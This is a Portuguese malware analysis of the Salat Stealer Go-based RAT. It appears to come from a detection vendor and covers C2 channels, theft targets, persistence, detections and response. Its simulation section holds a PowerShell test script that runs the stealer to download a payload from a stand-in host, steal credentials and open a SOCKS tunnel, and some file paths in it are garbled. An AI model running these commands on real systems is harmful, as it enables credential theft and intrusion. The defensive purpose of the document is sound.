Análise do Salat Stealer: Resiliência em C2 Baseado em Go e Capacidades de Roubo de Informações
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Salat Stealer é um trojan de acesso remoto baseado em Go que funciona como uma estrutura completa de pós-exploração. Ele suporta múltiplos canais de comunicação, incluindo WebSocket, HTTP/2, HTTP/3 e QUIC, oferecendo aos operadores opções flexíveis e resilientes de comando e controle. O malware também inclui amplas capacidades de roubo de credenciais, visando dados de navegador, carteiras de criptomoedas, pressionamentos de tecla, capturas de tela e pivoteamento de rede através de SOCKS5. Para sobreviver a reinicializações, ele utiliza cópias de arquivos ocultas, tarefas agendadas e uma chave de registro Run. Se sua infraestrutura primária for interrompida, o malware pode recuperar detalhes atualizados de comando e controle através do blockchain TON.
Investigação
A análise explica como o malware deriva as chaves de criptografia a partir de strings estáticas combinadas com o nome do host da vítima, para depois usá-las para descriptografar cinco URLs de comando e controle incorporadas. Os pesquisadores também documentaram como o Salat Stealer seleciona seu protocolo de transporte, processa comandos do operador, tenta a escalada de privilégios e implanta múltiplos métodos de persistência no host. O relatório ainda delineia a gama de dados roubados e as funções mais amplas de acesso remoto disponíveis para o atacante.
Mitigação
Os defensores devem monitorar conexões para as URLs de comando e controle identificadas, bem como tráfego inesperado de QUIC e WebSocket para destinos desconhecidos. As equipes de segurança também devem ficar atentas a tarefas agendadas ocultas e entradas de chave Run suspeitas que apontem para executáveis desconhecidos. Listagem de aplicações permitidas e controles de execução rigorosos podem ajudar a prevenir a execução da carga útil baseada em Go. A segmentação da rede e a inspeção de TLS podem ainda melhorar a visibilidade do tráfego de saída suspeito associado ao malware.
Resposta
Se a atividade do Salat Stealer for detectada, isole imediatamente o sistema afetado, colete imagens de memória e disco e termine os processos maliciosos. Remova todos os artefatos de persistência, incluindo tarefas agendadas, entradas de chave Run e cópias de arquivos ocultas usadas pelo malware. Os domínios de comando e controle identificados devem ser bloqueados, junto com quaisquer buscas relacionadas ao blockchain TON usadas para descoberta de infraestrutura de fallback. Credenciais expostas e carteiras de criptomoedas também devem ser rotacionadas ou protegidas sem demora.
graph TB classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc malware_salatr[“<b>Malware</b> – Nome: Salat Stealer (Go RAT)<br/>Descrição: Trojan de acesso remoto em Go para roubo, persistência e movimento lateral.”] class malware_salatr malware process_start[“Processo: SalatStealer.exe inicia e verifica instância”] class process_start process malware_salatr –> process_start persistence_task[“Tarefa agendada oculta (explorer.exe)”] class persistence_task action persistence_reg[“Run Key HKCU\\Run (svchost.exe)”] class persistence_reg action process_start –> persistence_task process_start –> persistence_reg defense_evasion[“Evasão: ofuscação de strings e chaves”] class defense_evasion action process_start –> defense_evasion discovery[“Descoberta do sistema: CPU, RAM, GPU, SO”] class discovery action process_start –> discovery credential_access[“Roubo de credenciais + keylogging + clipboard”] class credential_access action process_start –> credential_access collection[“Captura de tela, vídeo e arquivamento ZIP”] class collection action credential_access –> collection c2[“C2 WebSocket/QUIC + fallback TON”] class c2 action collection –> c2 exfiltration[“Exfiltração via C2”] class exfiltration action c2 –> exfiltration command_exec[“Execução remota de comandos + SOCKS5”] class command_exec action exfiltration –> command_exec lateral[“Movimento lateral via SOCKS5”] class lateral action command_exec –> lateral
Fluxo de Ataque
Detecções
Comando e Controle Suspeito por Pedido DNS de Domínio de Alto Nível (TLD) Incomum (via dns)
Ver
Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via evento de registro)
Ver
Execução de Processos do Sistema de Caminhos Não Típicos (via criação de processo)
Ver
IOCs (HashSha256) para detectar: Análise do Salat Stealer Go Based RAT C2 Resiliência e Capacidades de Roubo de Informações
Ver
IOCs (HashSha1) para detectar: Análise do Salat Stealer Go Based RAT C2 Resiliência e Capacidades de Roubo de Informações
Ver
IOCs (HashMd5) para detectar: Análise do Salat Stealer Go Based RAT C2 Resiliência e Capacidades de Roubo de Informações
Ver
Detecção das Atividades do Salat Stealer RAT [Windows Sysmon]
Ver
Detecção de Padrões de Comunicação C2 do Salat Stealer [Conexão de Rede do Windows]
Ver
Detecção de Execução e Modo do Salat Stealer [Criação de Processo do Windows]
Ver
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria e Linha de Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e os narrativos DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa e Comandos do Ataque:
Um adversário entregou o binário Salat RAT (salat.exe) ao host vítima via um anexo de phishing. Depois de obter uma base de baixo privilégio, o atacante executa o binário com argumentos específicos para:- Baixar uma carga útil secundária –
main.downloadFile https://malicious.example.com/payload.exe. - Roubar credenciais armazenadas –
main.Steal -module credentials. - Estabelecer um túnel SOCKS peer-to-peer para movimento lateral –
main.p2pSocks -listen 1080 -remote 10.0.0.5:4444.
O binário é lançado de uma sessão PowerShell elevada para satisfazer o requisito de elevação (T1548). Cada invocação aparece como uma criação de processo Sysmon distinta com a linha de comando correspondente, satisfazendo a correspondência de string da regra Sigma.
- Baixar uma carga útil secundária –
-
Script de Teste de Regressão:
# ------------------------------------------------- # Script de simulação do Salat RAT - aciona a detecção # ------------------------------------------------- $binaryPath = "C:Tempsalat.exe" # Garantir que o binário existe (placeholder - em um teste real o binário seria pré-estagiado) if (-Not (Test-Path $binaryPath)) { Write-Error "Binário Salat não encontrado em $binaryPath" exit 1 } # 1. Baixar carga útil secundária Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait # 2. Roubar credenciais Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait # 3. Abrir o túnel P2P SOCKS Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait Write-Host "Simulação concluída." -
Comandos de Limpeza:
# ------------------------------------------------- # Limpeza para simulação do Salat RAT # ------------------------------------------------- # Terminar quaisquer processos Salat remanescentes Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force # Remover o binário (se permitido) $binaryPath = "C:Tempsalat.exe" if (Test-Path $binaryPath) { Remove-Item $binaryPath -Force Write-Host "Removido $binaryPath" } # Opcionalmente limpar eventos Sysmon relacionados do índice de teste (exemplo Splunk) # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'